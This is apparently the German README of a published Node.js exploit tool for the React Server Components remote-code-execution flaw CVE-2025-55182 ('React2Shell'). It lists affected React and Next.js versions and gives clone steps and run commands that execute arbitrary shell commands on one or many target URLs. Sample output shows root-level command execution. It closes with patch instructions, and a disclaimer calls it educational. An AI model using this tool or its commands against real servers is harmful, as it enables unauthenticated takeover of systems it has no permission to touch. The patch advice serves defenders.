
NodeJS-basiertes Exploit-Skript und Scanner für die React Server Components-Schwachstelle „React2Shell" (CVE-2025-55182).
NUR FÜR BILDUNGS- UND SICHERHEITSFORSCHUNGSZWECKE.
Dieses Tool soll Sicherheitsexperten und Administratoren dabei helfen, die Verwundbarkeit ihrer eigenen Systeme zu überprüfen. Der Autor ist nicht verantwortlich für Missbrauch, Schäden oder illegale Handlungen, die mit diesem Code durchgeführt werden.
CVE-2025-55182 ist eine Remote-Codeausführung-Schwachstelle in react-server-dom-webpack, einem Kernpaket, das von Next.js (App Router) und React 19 verwendet wird.
Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, bösartige Payloads in React Server Actions einzuschleusen. Durch Manipulation des Deserialisierungsprozesses kann der Angreifer auf den JavaScript-Function-Konstruktor zugreifen und beliebige Systembefehle auf dem Server ausführen.
Weitere Details: https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components
Betroffene Versionen:
react-server-dom-webpack: 19.0.0 - 19.2.0next: 13.4.x, 14.x (pre-14.2.35), 15.x (pre-15.5.9)Dieses aktualisierte Skript verwendet fortschrittliche Exploitation-Techniken, um zuverlässiger zu sein:
Next-Action-ID zu umgehen. Funktioniert auf jeder verwundbaren Next.js-Instanz ohne manuelle Aufklärung.Location-Header. Dies vermeidet 500-Fehler und liefert saubere Ausgaben.Repository klonen:
git clone https://github.com/sangleshubham/React-Security-CVE-2025-55182-Exploit.git
In das Verzeichnis wechseln:
cd React-Security-CVE-2025-55182-Exploit
Node.js-Version prüfen: Stellen Sie sicher, dass Node.js installiert ist (v18 oder höher wird empfohlen).
node -v
(Hinweis: Dieses Skript verwendet standardmäßige Node.js-Bibliotheken, daher ist kein npm install erforderlich.)
Das Skript react2shell.js erkennt automatisch, ob Sie ein oder mehrere Ziele scannen.
Der standardmäßig ausgeführte Befehl ist id.
# Single Target
node react2shell.js http://localhost:3000 ls
# Multiple Targets
node react2shell.js http://localhost:3000 [http://staging.example.com] ls
Um einen bestimmten Befehl auszuführen, geben Sie ihn als letztes Argument an.
# Syntax: node script.js <URL> <COMMAND>
node react2shell.js http://localhost:3000 <command>
⚠️ VERWUNDBAR: Das Tool hat den Befehl erfolgreich ausgeführt und die Ausgabe über den Redirect-Header geschmuggelt.
[*] Starting Universal Scan...
[*] Payload Command: "id"
⚠️ VULNERABLE (http://localhost:3000)
Output: uid=0(root) gid=0(root) groups=0(root)
🛡️ SICHER: Der Server hat die Payload abgelehnt oder ist gepatcht.
🛡️ SAFE (http://google.com) | Status: 405
❌ VERBINDUNGSFEHLER: Das Skript konnte den Server nicht erreichen.
❌ CONNECT ERROR (http://bad-url.com) | fetch failed
Wenn Ihre Anwendung verwundbar ist, aktualisieren Sie Ihre Abhängigkeiten sofort.
Für Next.js:
# Next.js 14
npm install [email protected] react@latest react-dom@latest
# Next.js 15
npm install [email protected] react@latest react-dom@latest
Für andere Frameworks (Waku, Remix, usw.):
Stellen Sie sicher, dass react-server-dom-webpack auf v19.2.1 oder höher aktualisiert wird.
Verteilt unter der MIT-Lizenz. Weitere Informationen finden Sie in der LICENSE.